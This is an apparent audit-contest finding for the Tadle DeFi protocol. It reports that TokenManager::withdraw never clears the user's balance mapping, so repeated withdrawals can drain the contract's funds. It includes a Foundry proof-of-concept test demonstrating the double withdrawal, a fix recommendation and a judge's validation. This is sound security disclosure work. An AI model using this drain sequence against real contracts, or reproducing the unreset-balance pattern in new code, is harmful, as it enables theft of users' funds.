Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

User Can Drain the Protocol's Funds

pina

Summary

The TokenManager::withdraw function does not follow the Check-Effects-Interactions (CEI) pattern. After calculating the amount to claim, the user’s balance is not updated, allowing the user to repeatedly call the function and drain the contract's balance.

Vulnerability Details

The vulnerability is present in the TokenManager::withdraw function:

​
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}

The user’s userTokenBalanceMap is not updated after the calculation. As a result, the funds associated with each token are at risk. The user can repeatedly call the withdraw function and still retain the same balance in userTokenBalanceMap. This issue is demonstrated in the following proof of concept (PoC):

PoC

function test_drainContract() public {
vm.startPrank(user);
​
preMarktes.createOffer{value: 0.012 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker{value: 0.005175 * 1e18}(offerAddr, 500);
​
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
​
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
preMarktes.relistOffer(stock1Addr, offer1Addr);
​
vm.stopPrank();
​
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
​
// Withdraw funds
vm.startPrank(user);
​
uint256 balanceSalesBefore = tokenManager.userTokenBalanceMap(address(user), address(weth9), TokenBalanceType.SalesRevenue);
uint256 ethBalanceBefore = user.balance;
assertGt(balanceSalesBefore, 0);
console2.log("Balance of Sales Revenue", balanceSalesBefore);
console2.log("Ether Balance Before Withdraw", ethBalanceBefore);
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
uint256 ethBalanceAfter = user.balance;
uint256 balanceSalesAfter = tokenManager.userTokenBalanceMap(address(user), address(weth9), TokenBalanceType.SalesRevenue);
assertGt(balanceSalesAfter, 0); // Still balance
assertEq(balanceSalesBefore, balanceSalesAfter); // Same balance before/after withdraw
assertGt(ethBalanceAfter, ethBalanceBefore); // User has more balance than before; withdraw successful but still balance remains
console2.log("Balance of Sales Revenue After", balanceSalesAfter);
console2.log("Ether Balance After Withdraw", ethBalanceAfter);
​
// As a consequence, the same user can withdraw again
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
uint256 balanceSalesAfterTwoWithdraws = tokenManager.userTokenBalanceMap(address(user), address(weth9), TokenBalanceType.SalesRevenue);
assertEq(balanceSalesBefore, balanceSalesAfterTwoWithdraws);
console2.log("Balance of Sales Revenue After Two Withdrawals", balanceSalesAfterTwoWithdraws);
vm.stopPrank();
}

Impact

All funds in the protocol can be drained. If a user has a balance for a token, they can repeatedly withdraw until the entire balance of the contract is depleted.

Tools Used

  • Manual code review

  • Foundry

Recommendations

Update the userTokenBalanceMap to zero immediately after calculating the claimable amount and before the transfer. Follow the Check-Effects-Interactions pattern.

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.